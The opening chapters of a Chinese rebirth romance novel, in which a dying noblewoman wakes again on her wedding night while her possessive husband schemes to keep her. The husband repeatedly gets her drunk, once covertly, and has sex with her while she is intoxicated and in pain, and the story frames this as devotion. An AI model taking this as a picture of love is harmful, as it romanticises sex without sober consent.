《藏鸯》 1. 贺新婚 天初暖,草木欣欣。 可惜,沈明祯快死了。 万幸,死亡对她而言并不是离开,而是一场迟来的至亲重逢。 出生钱塘,作为沈氏最小的女儿。 虽千娇万宠,但婚事并不顺利,直至十八那年,才下嫁给崇文侯府世子燕崇礼为妻。 婚后数年,她自认为夫妻感情虽不亲密,倒也勉强算得上相敬如宾。 可惜在离家的第七年,钱塘水患,燕崇礼奉旨南下治水,沈氏却因决堤灭门。 自那以后沈明祯身体每况愈下,年初不过是场小小的风寒,直接让她一病不起。 …… 暮春时节,阴雨初霁。 廊下药炉汤水日夜沸腾,白雾缠着前庭栽种的几竿瘦竹,潮气把竹身浸得透亮,现今日头一晒,嫩枝凋零,摇摇欲坠。 沈明祯半倚在窗前,柔软的身体侧蜷成小小一团。 她枕侧放着缠花小镜,还有一卷半旧不新的话本子,手里正举着胭脂,正动作小心地往脸颊上涂抹。 “娘子。”澜琚推门,随着声音一同出现的,还有廊庑外一道逆光而站的高大身影。 沈明祯已经不太能看得清东西,但她还是配合着抬眸,只觉门外天光大亮,澜琚被勾勒成一大一小两道重叠晃动的虚影,影子蒙着一层没有生机的灰白色。 她心底暗道糟糕,今日这病,恐怕是生得更严重了,就连那点零星的轮廓都完全没法辨清。 随着“影子”走近,沈明祯皱皱鼻子,周围的药味好似比往日更浓郁些,还伴着一点难以察觉的血腥味。 “澜琚,你受伤了?” “我……”澜琚一愣,下意识朝身后看。 燕崇礼面无表情站着,手里稳稳端着一碗药汁,澜琚知道,眼下但凡自己敢说错一个字,保不齐就要被当场灭口的。 沈明祯等了半天不见回答,又怕眼疾被看出端倪,面上装作淡然,拿起书册翻过一页:“你不说就算了,莫要打扰我看书。” 说是看书,可一本正经拿在手里的话本子,却是反的。 虚虚的目光,像隔着一层水雾。 长长的眼睫、漆瞳,卧蚕似一弯月牙,眼尾挑得恰到好处,水汪汪的眼珠子,偏偏少了平日里碎星般灵动的浅影。 明珠蒙尘。 虽然依旧清澈似春雪初融,但失了本该有的生机。 “娘子……”澜琚见此情景,心里难过,脸上的情绪几乎藏不住,勉强稳住声音道:“奴婢方才不小心被枝叶划伤了手,眼下已无大碍。” “您不如趁热,把药先喝了?” 沈明祯摇头拒绝,拿起镜子,眯着眼睛上上下下照了一通。 她哪能看得清镜子里的自己,偏生装得像模像样,睁眼瞎话,指着脸颊:“你看,我已大好,健康得都白里透红,还喝什么苦药。” 因为不想喝药,时常谎称自己健康。 澜琚无可奈何,但依旧得劝。 沈明祯捂唇低咳,就算病得这样厉害,但一点不耽误她先发制人,可怜兮兮的语调:“快快快……快些拿走。” “我可不能看到这些东西。” “方才都大好了,眼下恐怕是被这药汁重新熏出病来。” 她咳得愈加难受,又怕动静闹得大,忍得颈子上都是虚汗。 “奴婢替你顺顺气。”澜琚顿时慌了,焦急上前。 燕崇礼搁下药碗,无声把人拦下。 他俯下身,动作熟练地替沈明祯拍背。 等她慢慢顺出那口气,身体不再因为撕心裂肺的咳而无意识抽搐后,他把失神的人,轻轻揽进怀中。 春末,斑驳的竹影落在两人身上。 燕崇礼坐在临窗的矮榻上,极具压迫感的身躯,如同巍峨的山岳,几乎挡去廊外大半天光。 沈明祯就缩在那阴影下,瘦薄肩头娇如海棠花瓣,稍稍用力就能折碎。 她仰着头,双眼茫然睁着,毫无所觉。 只当是澜琚怜惜她,替她擦拭、顺气。 不知过了多久,弓起身体一点点放松,等那阵难受劲终于缓过去,她捂着心口细细地喘。 每每咳嗽过后,喉咙都会沙哑干涩。 “喝水。”明明澜琚离她那么近,声音却隔得有点远,病痛让沈明祯的思绪变得迟钝。 一盏子温度适宜的水,已贴心递至她唇边。 毫无防备,沈明祯就着对方的手,咕咚咕咚咽下两大口。 下一刻,苦腥味激得她眼泪花子都飚出来了。 赶紧伸手推远。 “拿走……拿走。” “澜琚,你给我喝的是什么东西?” 澜琚心虚,僵着背脊站在远处,根本不敢上前。 因为此刻燕崇礼锋利的眉眼正睨着她,她总不能说,是郎君也不知听信了哪个道士的胡言乱语,亲自从手臂剜下一块肉,只为用来当药引。 血淋淋的伤口,也就撒了点香灰和药粉,半边衣袖都染红了。 想到这里澜琚不禁打了个冷战,硬着头皮解释:“是……是郎君新求的丹方。” 沈明祯苦得眼泪汪汪,柔软的指尖在枕后的小香囊里慢慢摸索。 燕崇礼适时递了颗蜜饯过去。 她却以为是自己摸到了之前藏起来的宝贝零嘴,果断一口含进嘴里,脸颊鼓鼓问:“这次他又想用什么法子折磨我?” “符水?” “仙草?” “还是行巫蛊之术?” “我瞧着,燕崇礼他恐怕是打着续命的幌子,想早点送走我。” 澜琚听到这话顿时定住,她只觉一股寒气毫无预兆从脚底蹿上,她夹在两人中间,就像个被架在火上烘烤的小叛徒。 沈明祯摸出镜子,认真照了半天,淡绯的眼睛弯弯:“我觉得好像没多大用处呢,方才被你骗了两口咽下去,脸颊更白,嘴唇也不够水润了。” 屋里光线明亮,沈明祯手里的镜子也拿反了,她毫不自知,还压低声音朝着燕崇礼那处探身:“我听闻三日前,前院就开始热闹。” “燕崇礼他不会是打算……” “休了我,另娶个娇滴滴的吧?” 澜琚“啊”了一声,瞪圆了眼睛:“您听谁说的。” “还能听谁说,外头吹吹打打的声音,我耳朵又没聋。” “新妇是快进门了?” 澜琚低着头,尽量减弱自己的存在感。 什么新妇进门吹吹打打,明明崇文侯府上下都快被逼疯了,前院请了道士开堂作法不说,府中上下只要还能喘气的血脉至亲,眼下都在前院跪着。 美其名曰,向上天祈福。 沈明祯哪里知道外头如何鸡飞狗跳,她觉得累,半张脸都陷在百福吉祥软枕上。 时不时捂唇低咳,乌发随着她身体的动作,散落交织在那白瓷般莹润的细肩上,淡淡胭脂绯的小脸,如凝着霜雪的海棠,看着轻软易碎,偏生又给人一种扎眼的绝色。 久病磨尽了她的生机,躯体似霜雪将融。 许是了无牵挂,绝美的神颜之下,是更为惊心动魄,令人不敢亵渎的秾丽骨相。 沈明祯她歪头等了半天,也不见澜琚答话。 对方的沉默,更是叫她笃定,侯府这几日吹吹打打的热闹,大抵是准备办一场喜宴的。 她就想不明白了,这样古板禁欲,规矩还多得吓人的男人,当初自己怎么就脑子一热嫁了。 至于眼下。 燕崇礼想要另娶。 那不行! 娶什么娶! 她还没死呢! 当燕崇礼高大的身影覆下的时候,沈明祯闭着眼睛,像是睡着。 迷糊中,好像有人用指腹,轻轻从她唇瓣擦过。 沈明祯伸出舌尖舔了舔,多了一点梅子糖的味道。 自从生病,她平日吃喝用度,通通都被燕崇礼严格把控起来。 时日久远,她都快忘了那些零嘴的美味。 乖乖张开唇瓣,满怀期待,就等着香甜的梅子糖喂进口中。 可惜事与愿违,沈明祯被喂了一大口,苦到她舌尖发麻的药汁。 小小一碗,眼看要见底了。 可恶! 又被算计了! “呜呜呜呜……” “你是谁?” 燕崇礼紧紧地抱着怀里的人,他尽量让自己的声音听起来温和一些:“泱泱,是我。” 该死的! 她就知道是他。 这个世上,除了他,还有谁敢这样欺骗她。 她就说呢,方才澜琚进门,影子怎么会又高又大。 沈明祯能感受到,燕崇礼颤抖的指尖从她长长的眼睫擦过,带着潮气的吻落下来,他问她:“看不见了,为什么不说。” 为什么要说? 她快死了,药石无医,这是所有人都心知肚明的事。 离得近,沈明祯出神地盯着眼前的虚影,隐约可见一点刺目的红,直到她又听见燕崇礼伸手去端药碗的声音。 沈明祯推着他,想要挣脱。 “我没瞎。” “只是近来眼神不好。” “你莫要造谣。” “你方才进来时,我老远就瞧见你身上新郎官红艳艳的喜袍。” 人抱在怀里,燕崇礼没有反驳,只是抬手撕了那片带血的衣袖。 “好端端的,怎么又脱了呢?”沈明祯喃喃一声,满是不解,“你想另娶我又不拦着,着什么急。” “不过,还是先和离吧,我要回钱塘。” “泱泱,等你好了,我都答应你。” “不行。”沈明祯摇头,她整个人陷在燕崇礼的胸膛里,像一叶被风浪席卷着的扁舟。 这时窗外有风吹过,她感觉有东西落在脸上,湿湿热热。 下雨了吗? “燕崇礼,你这屋子怎么还漏雨?” 沈明祯很困,眼睛不受控制闭上,她后背挨着他胸膛,是很快的心跳声。 燕崇礼将人抱得更紧。 胸腔震动,喉咙里溢出的声音,带着一种压抑、近乎崩裂的嘶哑:“泱泱,不要睡。” “我没睡,只是有些累了。” “嘴巴苦得厉害。” “要不你让澜琚给我端一盏果子酒漱漱口吧。” …… 她声音越来越轻,到后面已经低不可闻。 潮腻腻的春,被太阳晒得滚烫。暖阁天光细碎,窗外草木绿浓,却沉沉垂着,无端叫人喘不过气。 “泱泱,别睡。”燕崇礼亲吻她,颤抖的双手死死撑在床沿,脖颈上青筋隐现。 明明早就理智全无,可连声音都刻意压低在喉咙深处。 怕汹涌的情绪,惊着她,吓坏她。 良久,沈明祯似回了点神,忽地朝他伸手,笑弯了眼睛。 他以为她终于大发慈悲,愿意一起带走他。 沈明祯却说:“阿兄,是你来接我了吗?” 前院的鼓乐声,如同汹涌的潮水。 在沈明祯闭眼的瞬间,将她淹没。 呼吸渐轻,在一片五彩斑斓的走马灯中,灵魂飘离的瞬间,似有人恶狠狠抵着她。 “明祯。” “求你,醒过来……好不好。” “泱泱。” “我要的是你活着恨我,而不是死了让我悔恨。” “沈泱泱!!!” 谁? 谁在喊她? 沈明祯在一片喜庆灼灼的正红中睁开眼睛,意识尚未回笼,目之所及红盖头下的流苏一晃一晃,沉重的凤冠压在她额前。 周围喧闹像隔着一层水,忽远忽近。 这是哪? 她甚至想不明白,自己为何出现在这里。 手腕被人牵着,她清晰地感觉到对方指腹的薄茧,轻轻刮过她脉搏的位置。 一下,又一下,摩挲着她的腕骨。 “我这是……?” “呜……” 话没说完,对面递来的果子酒已经抵在她唇上,沈明祯心里正巧遗憾那口没喝上的果子酒,自然顺势饮下。 屋子,忽地安静下来。 门扇合上的声音,隔绝了最后一丝热闹。 盖头被挑开,在一片汹涌的红里,逆光而站的男人声音很沉,带着一种许久不说话的沙哑。 “夫人。” “祝我们,此生。” “百年好合。” 不要脸! 谁是你夫人。 谁要同你百年好合。 回过神来的沈明祯觉得天塌了,怎么人死后,还能回到洞房花烛夜呢? 做梦! 这一定是在做梦! 惊恐之下,她下意识往后退了两步。 好巧不巧,身后就是喜床。 沈明祯脚下一绊,都不带燕崇礼动手,她自己一副很着急的模样,跌了进去。 都说梦是反着来的! 上辈子她可没有这样着急!!! 现在和离,应该还来得及吧。 沈明祯跌跌撞撞爬起来,两颊娇红,也不知是醉了,还是气的。 她见燕崇礼走近,衣带半解,露出健壮结实的胸膛。 他应该沐浴过,脖颈上滚着水珠。 居高临下,高大如巨物般的身躯,单单只是影子,都快压得她喘不上气。 沈明祯心惊胆战,根本记不得曾经的洞房花烛是如何度过的,但眼下她快被吓死了。 这人,在梦里怎么一副要吃她的模样。 说好的端方如玉,禁欲克制,墨守成规呢。 “郎……郎君。” “你先别急。” “但我有点事,很着急。” 沈明祯背脊绷着,漆黑灵动的双眸,似含着脉脉神光,一副温顺小绵羊的模样:“要不,你在屋里,等我准备准备,好不好?” 先把人哄住。 她得赶紧收拾。 今夜就跑。 毕竟再不跑,这梦一直做下去,那可要变成春梦了! 燕崇礼抿紧唇,冰冷的凤眸深处,压着一簇火光。 他沉默无言,只是在沈明祯起身的瞬间,又把她给狠狠摁了回去。 “燕崇礼,你先松开。” “我得先洗洗。” 燕崇礼依旧没动,也不知道是不是沈明祯错觉,他晦暗不明的眼神卷着太多情绪,是那种密不透风、带着几分固执的恨,或者又像是怕她跑了一般。 酒意上涌,天旋地转。 沈明祯一杯就倒的酒量,再也坚持不住,不过片刻,她两颊晕出的薄粉色,已一路烧至眼尾,连鼻尖都染上一层胭脂红。 渐渐变得失神涣散的瞳孔,随着眼睫眨动,荡起的一泓春水,欲坠不坠。 燕崇礼站着,刻骨的目光像是要把人钉死在身下。 忽地,他狠狠吻住她,宽阔的肩膀随着呼吸,一点点下抵。 就算这般,他仍觉不够,探出长臂从喜案上拿起酒壶,狠狠灌进口中,然后一点点渡进沈明祯嘴里。 阴影交错,满室酒香,伴着男人低低的嗓音。 “夫人醉了吗?” 沈明祯早就醉得毫无防备,先是呜呜呜地哭了一阵,然后小猫小狗似的,对燕崇礼又抓又咬。 她喉咙发紧,低低地哽咽一声,透着醉意的嗓音分外娇气。 “燕崇礼。” “我痛。” 燕崇礼心硬如铁,手背青筋绷紧,掌心握着那不盈一握的纤腰。 “痛也给我忍着。” “跪好了。” “——沈泱泱!” 2. 今时旧梦 酒意迷乱了她的心神,他说什么,她都乖乖顺从。 沈明祯面色绯红,喘息低低无力,几度眼前发昏。 她醉得只当这是无力挣脱的春梦,神智浸在一片温热的朦胧里,全然失了清醒时该有的理智。 漫漫长夜,直至天色微明,屋里的声音才渐渐止住。 …… 沈明祯恍惚醒过一回。 在熹微的晨光里,男人未曾着衣,高大的身影立于床前,半倾着身躯,肩背线条在沉暗的昏光里,被勾勒得分明。 她不知道他要做什么,明明已经要过那么多回,可那沉沉的视线,依旧不满足。 像蛰伏的鹰隼,始终牢牢锁着她。 心头发紧,求生的本能令她想退缩。 可惜身体早就力竭,浑身酸软陷在被褥之间动弹不得,否则就算是梦境,她也得仓皇而逃。 沈明祯被那贪婪滚烫的目光笼着,眼底的清明一点点溃散。 终究是扛不住困倦,彻底闭上眼睛,沉沉睡去。 翌日,午间。 沈明祯幽幽转醒。 她意识尚且迷糊,指尖已经习惯去摸枕头下的缠花小镜,不料这一次却摸了个空。 那一瞬间。 睡意抽离,整个人重重往下一坠,彻底清醒。 入目,是喜庆的红。 龙凤烛燃尽,满室甜香,绣着鸳鸯纹的帐幔,如烟云一样垂着,真实得近乎虚妄。 不应该是做梦吗? 风月事,风月了。 为什么还没有醒? 她原以为身死魂灭,大抵是不分晨昏的梦境重现。 可肌肤残留的触感,身体深处未平的震颤,皆真切入骨。 因为太过不真实,沈明祯狠心掐了自己一下,当即疼得她眼泪花子簌簌滚落,在脸颊周围晕开一圈湿痕。 “你在做什么?” 话音未落,一股不容挣脱的力道骤然扣住她的手腕。 男人掌心带着灼人的热,铁箍般强势,将她那点自伤的力气生生遏止。 “我……”沈明祯茫然抬眸,对上燕崇礼慑人的视线。 心口重重一跳,她这才后知后觉反应过来,两人竟是同床共枕! 他坐着,衣襟微敞,大大方方露出筋骨结实的胸膛。 离得实在近,她目光稍偏,就能看到他胸前,泛红的抓痕和小巧牙印。 两人四目相对,他不说话,狭长的凤眸微眯,晦暗难辨。 大抵是眼前的事实叫她无法接受,沈明祯竟吓得连连后退,可喜床再大,也就是那点地方。 她最终退无可退,缩至床尾。 娇美的身体缩成小小一只,陷在柔软的被褥深处。 男女之间天然的身形差别,从来都不是势均力敌,高下悬殊的压迫感,令她不得不先发制人:“你怎么在我床上?” “我与夫人新婚。” 燕崇礼看着她,忽然伸手,粗粝的指腹堪堪在她湿润的眼睑下方,不轻不重一按,姿态从容自然:“不睡在床上,那应该睡在哪里?” 睡哪里! 自然是睡书房去。 他们不是早八百年闹和离,就开始分房睡了吗? 沈明祯只觉眼下的情景实在过于荒谬。 然而更荒谬的还有,燕崇礼竟然当着她的面,慢条斯理从床上翻出她散落的小衣小裤,还格外贴心替她抚净上头还未干透的湿痕,规整摆放到一起。 他语调很慢,甚至还朝她笑了一下,披衣起身:“时候不早,夫人该起了。” 啊啊啊! 她的贴身衣物。 他怎能如此孟浪。 沈明祯睁圆了眼睛,不可思议地看着燕崇礼,差点维持不住面上的平静。 昨夜乱得不成章的记忆,此时像汹涌的潮水,零零散散,但也足够把她淹没,令她面红耳赤。 难不成,是她喝醉了,主动勾引他的不成? 所以得到餍足的男人,就算再冷静自持,恪守礼教,也难免会表现出与往日不同寻常的行为举止。 沈明祯凝着燕崇礼的背影,见他毫无察觉,自然转身去侧间洗漱,她紧绷了半天的背脊才缓慢放松下来。 “娘子。” “您终于醒了。” 澜琚推门,还带着婴儿肥的脸颊,红润饱满:“您一直睡着,温嬷嬷急得,在外边都快火烧眉毛了。” 沈明祯一愣,抬眼看过去,就看到一个胖胖的,很有福气的妇人笑眯眯走进来。 是前世随钱塘沈氏消亡,自小照顾她长大的温嬷嬷。 “阿温……” 沈明祯鼻头一酸,差点哭出来。 温嬷嬷哎哟一声,赶紧拿出帕子,低声哄她:“这大喜的日子,娘子可不能哭。” 她知沈明祯娇气,昨夜屋里动静闹了半宿都没停过,她那小小的身板,哪能受得住郎君那般高大的身量,必定是觉得委屈的。 “娘子还小,不懂也没关系。” 温嬷嬷拍着沈明祯的手,颇有些过来人的意有所指:“郎君爱你,这是好事。” 爱? 倒也不必说得如此委婉,不过是酒后乱|性,床事上稍微强势了点。 沈明祯知道温嬷嬷误会,但并不打算出声解释。 当下这种境况,在外人看起来夫妻感情好,那对她必定是有利的。 环顾四周,这明礼堂还是她记忆中前世的模样。 沈明祯冷静披衣起身,在温嬷嬷的一声声催促中,她倒是越发的不紧不慢。 屋外日头高涨,必定早就过了午时。 崇文侯府燕氏一脉,立府百年,世代簪缨,家风肃正,礼法规矩更是积压如山。 沈明祯记得前世,她天没亮就早早起来梳妆,在前院等着给双亲敬茶。 眼下。 算了吧。 谁爱等着,那就让谁等。 反正等过段时日,她总能找一个圆满的理由和同燕崇礼和离。 这样想着,沈明祯顿时心情大好,她换好衣裳从屏风后头出来,毫无预兆和燕崇礼四目相对,他正端坐在桌前等她一起膳。 见鬼了。 这个时辰,他怎能如此悠哉。 “你怎么还在这?”沈明祯张了张嘴,难以置信。 燕崇礼:“在等夫人用膳。” “用……用膳?”沈明祯僵笑着,指了指外边高悬的日头,狠狠扣下一顶大帽,“新婚第一日,郎君怎能如此不上进。” 快别吃了,赶紧出门上朝去吧。 不必如此体贴。 沈明祯心里不停祈祷。 可惜燕崇礼听不见,他垂着眼眸,好一会儿没说话。 俊美的面容隐在暗处,慢条斯理放下筷子,语调透着几分无奈:“夫人,我也是天蒙蒙亮才睡下的。” 好了,你不用提醒。 谁不是天蒙蒙亮才睡下。 沈明祯食不甘味,若有所思观察着燕崇礼的一举一动,可惜借着一顿饭的工夫,她并未察觉任何不妥。 到头来只能怪喝酒误事,就算是燕崇礼这样克制自省的男人,也会有失了规矩的时候。 这般把自己安慰住,她高悬在半空的心,又被妥帖放回肚子里。 用过午膳,两人要一同去前院给长辈敬茶。 “父亲。” “母亲。” 沈明祯端着茶,跟在燕崇礼身后,像是没看到二老和满屋亲眷铁青的面色。 前世装一装就算了,这一回都打算和离了,不喜欢最好,她还能掉头就走。 沈明祯半点心虚的模样都没有,脑子里不停盘算着,二老若是再不接,她就打算自己喝掉,彻底把事情闹大。 可惜天不遂人愿,两位高堂倒是能忍之人,僵着脸扯出一点笑,还勉强夸了几句好话,各自封了一个厚厚的大红包塞到她手里。 不应该啊,怎么一个个的像被掐住脖子的鸡,前世那尖酸刻薄,指指点点的架势都去哪了? “……” 没有不满,没有训斥,一个个的,见了她笑得比哭还难看,出手倒是大方不少,就算沈明祯想鸡蛋挑骨头,都找不到冠冕堂皇胡闹的借口。 从前院出来,她自顾自地往明礼堂走,心里反复琢磨着怎样才能顺利和离。 许是走神太久,竟半点未曾留意,身后跟着的那道挺拔高大的身影。 温嬷嬷有心培养二人独处感情,自然是带着澜琚等人,躲得远远的。 沈明祯满心失落,但一想到远在钱塘的父母,咬咬牙深吸一口气朝身后说出了自己大胆的想法:“阿温……” “若是……我现在和燕崇礼和离,阿耶阿娘会不会觉得我在胡闹?” 话音落地,院子周遭霎时落针可闻,似乎连风都被冻住。 气氛太过诡异。 沈明祯心头一紧,暗道糟糕。 僵着脊背,缓缓回过身。 哪有什么温嬷嬷。 逆光站在身后的男人身姿高大俊美,墨发以玉冠束得规整,一身宝相花暗纹的红衣,宽肩窄腰。 狭长凤眸晦暗难测,此时正静静地落在她身上。 他到底听见了多少,近在咫尺的距离,应该是一字不落吧。 完了。 彻底完蛋了。 嫁给燕崇礼七年,她对他知之甚少。 但是,世人皆知燕氏一脉,全都满身反骨,是最容不得半分悖逆算计。 新婚翌日,新妇念着和离。 那他不得和她当够,生生世世的怨偶,才能善罢甘休。 只要一想到生生世世,白毛汗都得吓出来。 “郎君。” “方才那番话,你听我解释。” 沈明祯强压下内心的慌乱,挪着步子稍稍离他远一些。 “夫人要解释什么?”燕崇礼微笑,朝她迈了一大步,两人离得越来越近。 沈明祯被那笑容晃得背脊发寒。 “……” 怎么一点没有生气的样子。 难道是风大没听清? 应该是吧。 毕竟燕崇礼这人,规矩多得要死,但是从不撒谎的。 沈明祯心中大定,漂亮的眼珠眨了眨,慢慢从袖子掏出帕子,努力装出一副哀伤的神情。 “妾身也没说什么。” “实不相瞒,不过是离家三个多月,我有些想念家中的阿耶阿娘了。” 燕崇礼目光在她面上流连,强弱悬殊的体形差,似在无声宣告,看似被动,实则进退皆由他主导。 “所以是 想趁着归宁,回去看看?” “对吗?” 对对对! 燕崇礼你什么时候变得如此上道了! 沈明祯眼睛都亮了,内心不住点头,面上依旧装着矜持,假意羞涩垂了眼眸。 “西京与钱塘相隔三千四百里,关山迢递。” “我若归家,路上一个来回耽搁,便是半年有余。” “方才那话,郎君不必放在心上,我只是随便说说而已。” 沈明祯仰着头,很期待地望向他,湿润的眼睫,犹有星光一闪一闪。 燕崇礼俯下身,刻意压低变得沙哑的嗓音,透着无法抵抗的诱惑:“所以,夫人真的不想归家小住吗?” 新婚次日,就想千里归家。 车途劳顿不说,重要的是崇文侯府一屋子文臣,最看重的名声。 若传出把新妇气跑的疯言疯语,那是要全家一起被戳脊梁骨的。 所以沈明祯不敢一下子把要求开得太高。 她雪白的贝齿,在红润的唇瓣上轻轻一咬,说话语调带着江南特有的软糯:“也不一定必须回去,我不过是有些吃不惯西京的口味,天气干热,夜里辗转难眠,想念江南的大厨,阿娘做的糯米糕。” “当然……”越说,沈明祯眼睛越红,甚至哽咽,“若是能归家小住两三日,全了我这小小的心愿。” “想必无论是西京的口味,还是天气,往后也能慢慢适应的。” 燕崇礼嗯了声,对上她期盼的目光:“三日,是否太短了些?” 沈明祯偏头,努力控制着嘴角上挑的弧度,她生怕太得意忘形,被男人看出端倪。 “不短、不短,绝对不短。” “郎君如此体贴,我已心满意足。” 只要这几日把人哄住,等出了西京,她一路南下。 别说是归家三日,就算是三年,他也鞭长莫及。 等时日一久,她再寻个体面点的由头,双方和离,那不就是水到渠成的事。 沈明祯美滋滋在心里打着如意算盘,见燕崇礼目光依旧分毫不动地盯着她,那股怪异的感觉又来了。 直白的审视,像是能把她看透。 避无可避,她只当作不知:“郎君,还有什么要说的?” “路途千里,应该是夫人可有什么话要对我说。”燕崇礼唇角含笑,很深的目光,隐着难辨的情绪。 能说什么? 好聚好散,各生欢喜吗? 她跑都来不及。 只求他千万别想不开,跑钱塘去抓人。 那应该也不至于,新婚第一天就跑了的妻子,西京皇都人多嘴杂,他又在朝中为官,到时候必然是脸面无光,提都不愿意提吧。 如果他实在想不开,真的敢去钱塘。 沈明祯磨了磨牙,决定心狠手辣一回,就让阿兄把他给绑了,大卸八块沉塘喂鱼。 想归想,她脸上笑容依旧:“那就祝——” “我与郎君,都能得偿所愿吧。” 闻言,燕崇礼表情不变,目光从她脸上寸寸碾过,似笑非笑:“夫人离家在即,今夜真如夫人所言,得偿所愿?” 他漆黑的眼眸,把“尝”字咬得特别重,直视她,火灼似的目光。 开什么玩笑。 今日天明才睡下的。 明日就是归宁,她等会儿要整理行囊,恐怕连吃晚膳的时间都不一定有。 他得偿所愿,她还睡不睡了。 沈明祯吃不准燕崇礼的意图,干脆装作听不懂,揉着眉心,朝外边喊温嬷嬷过来。 “归家?”温嬷嬷大惊,偷偷拿眼神往燕崇礼那边看,“娘子,这不合规矩。” 送亲的人前脚才走,结果钱塘沈家嫁出去的小娘子,后脚就归家,这像什么话。 沈明祯抱着蜜饯罐子,桌上还放了一杯甜滋滋的蜜水,她头也不抬道:“规矩是死的,人是活的。” “眼下三月末的春日,等行至江南正好六七月份,也能避开暑气。” “嬷嬷不想家吗?” 温嬷嬷被问得哑口无言,她这辈子到过最远的地方,也只有西京,说不想家,那必定的骗人的。 沈明祯大手一挥,胸有成竹道:“阿温,你只管收拾,明日等我睡醒,我们就启程回家。” 入夜。 温嬷嬷在房内归整衣物。 沈明祯沐浴后,披着太阳晒得松软的蚕丝被,趴在临窗小榻上翻看话本子,津津有味。 燕崇礼进屋,手里端着浅浅一杯,淡粉色的果子酒。 他什么也没说,只是随手把酒杯放在了沈明祯一抬手就能够得着的位置。 不过一刻钟。 贪杯不自知的女郎,两腮泛红,鼻息细碎,摇摇晃晃站起来,手里的话本子也不知丢在何处。 燕崇礼长臂一伸,稳稳当当接住栽倒进他怀着的娇软身子,将人打横抱起来。 他抬眼,冷冷地扫过众人。 “全都退下。” 新婚次日,她就想与他和离。 打着思念双亲的幌子,想要明目张胆归家,简直好得很! 燕崇礼掌骨牢牢扣住沈明祯的下颌,迫使她不得不睁着迷蒙的醉眼看他。 “沈泱泱。” “你且给我等着。” 3. 钱塘沈氏 春末,昼长夜短。 沈明祯脸颊贴着被角,无意识蹭了蹭。 许久,长睫微颤,精致的眉眼带着一抹惺忪,悠悠转醒。 帐子外天色灰蒙暗沉,好似还未彻亮。 没想到啊,今日竟醒得这般早,太阳还未升起吧。 沈明祯心下大定,今日必须赶在正午前离开西京。 这般想着,她赶忙掀被起身。 可才稍稍动弹,四肢就感到一阵酸软乏力,倦意沉沉覆在骨子里,至于昨夜何时睡的,她半分记忆也无。 “娘子醒啦……”温嬷嬷笑眯眯地拉开帐幔。 沈明祯不确定地往外瞟了一眼:“阿温眼下什么时辰了,我今日怎么醒得这般早。” 温嬷嬷脸上笑容有片刻僵硬,轻咳一声,心虚道:“其实也不是很早,申时?刚过一刻钟。” 申时? 刚过一刻钟? 那这不是都要太阳落山了吗! 沈明祯大惊:“怎么可能?” “我昨夜何时睡下的?” 温嬷嬷踌躇半晌,越发心虚:“老奴也不知道。” 沈明祯:“……” 怎么会不知道呢,她不应该早早就睡下吗? 扶着温嬷嬷的手站起来,脚都没踩实,膝盖一软,她像团棉花似的,毫不意外,跌了回去。 身体这么直白的反应,沈明祯要是不知道她昨夜又做了什么,她就是个小笨蛋。 竟然……连着两天…… 燕崇礼年纪轻轻,怎么瘾这么大? 在一片零星紊乱的记忆里,沈明祯终于想起来,在梦里,她感觉自己像是被食肉的猛禽禁锢在利爪上,时高时低,足足颠簸了一整晚。 怎么回事。 除非是…… “阿温,你给我喝酒了?”沈明祯着急地问。 温嬷嬷很坚定地摇头:“怎么会,老奴又不是不知道娘子您,一杯就倒的酒量。” “那我怎么醉了?” 温嬷嬷不置可否:“老奴也觉得奇怪。” 能不奇怪吗,这和鬼打墙有什么区别。 沈明祯蹙着眉心,目光慢慢往屋子扫视一圈,身边伺候的都是亲近之人。 至于内鬼是谁。 除了燕崇礼,她简直找不出第二个。 沈明祯正打算兴师问罪。 恰在此时,男人绕过屏风步入里间。 傍晚的风,携着微凉的花木香,那人手里端着青瓷碗,从容端方。 此刻,狭长的眼眸微微上抬,目光精准无比落在她身上。 燕崇礼:“夫人醒了?” 沈明祯气鼓鼓不答。 “既然醒了,那就把醒酒汤给喝了。” “就算是果子酒,夫人也应该适量才对。” “怎能如此贪杯。” 男人清冽的声线,已经先发制人。 “我?” “贪杯?”沈明祯简直不敢相信。 燕崇礼笑得无奈:“夫人不记得了吗?” 他甚至抬手,微凉的手背贴在沈明祯额头好一会儿:“万幸,并不是烧糊涂了。” 燕崇礼说着,很自然拿起醒酒汤递给她,脸上温润的笑容,落在夕阳的剪影下,俊美不可方物。 沈明祯被蛊惑似的,乖乖喝了好几口。 “昨日我随手在案上放了一盏果子酒。”燕崇礼笑着说,“不过是倒杯水的时间,就没了。” “我喝的?”沈明祯表情震惊,语调依旧带着几分不确定。 怎么会是酒的,那不应该是温嬷嬷给她准备的睡前安神茶吗? “也许夫人喝错了吧。”燕崇礼并不辩驳,反而是体贴给了一个漂亮的台阶下。 虽然觉得不对劲。 但又说不上来哪。 喝错好像也不算牵强的解释。 更不用说,她当时看话本子入迷,随手拿起就喝,也是很正常的事。 “阿温,那怎么办……” “我们今天还能动身吗?” 沈明祯更着急的是,今天能不能动身离开西京这件事。 温嬷嬷暗暗松了一口气,昨夜那果子酒她是看见的,为何不说呢。 夫妻成婚,要的是感情和睦,这也是钱塘的两位家主特意交代她的。娘子胡闹,她该从中调和的时候,就得睁一只眼闭一只眼。 温嬷嬷叹口气:“天黑路远,眼下这个时辰出门,恐怕得在山里过夜。” “娘子不如再缓上一日?” 沈明祯一听要在山里过夜,略微犹豫,果断放弃:“那就明日吧,反正也不差这几个时辰。” 窗前远眺,夕阳渐沉。 天边大片大片的橘红色,正在一点点被山峦吞噬。 温嬷嬷带人把屋里的灯烛都点燃,而后无声无息退了出去。 沈明祯坐在窗前,单手撑着下颌,目光遥遥凝着天边,缓缓下坠即将融进暮色里的太阳,美得如同虚妄。 其实,她真的……很想家。 不光是为了和离,重回过去的不真切,时至今日,依旧令她惴惴不安。 夫妻两人,一站一坐。 屋中寂静,沈明祯渐渐走神,全然未觉身后那道沉沉的视线。 燕崇礼站在她身后的影子中,目光牢牢锁在那单薄的背脊上,光影摇曳,将眼前人的轮廓描摹得朦胧且不真切。 泱泱! 他眉心骤然收紧,神色陡然一变,心底无端生出的惶恐,仿佛只要他再近前一步,眼前的人会立刻化成缥缈的泡影。 不能放她走。 绝对不能。 他不可能再放开她,就算是死。 心跳、呼吸,是活生生的她。 “燕崇礼。” “你弄疼我了。” 沈明祯惊呼一声,不可思议地抬眸。 “抱歉,是我失态了。”燕崇礼回神,手僵在半空,然后松开,往后退了一大步。 “你……”沈明祯盯着他,眼中古怪的神色一闪而过。 燕崇礼极力压下翻涌的情绪,盯着她,眸色漆黑:“夫人归家路远,时日长。” 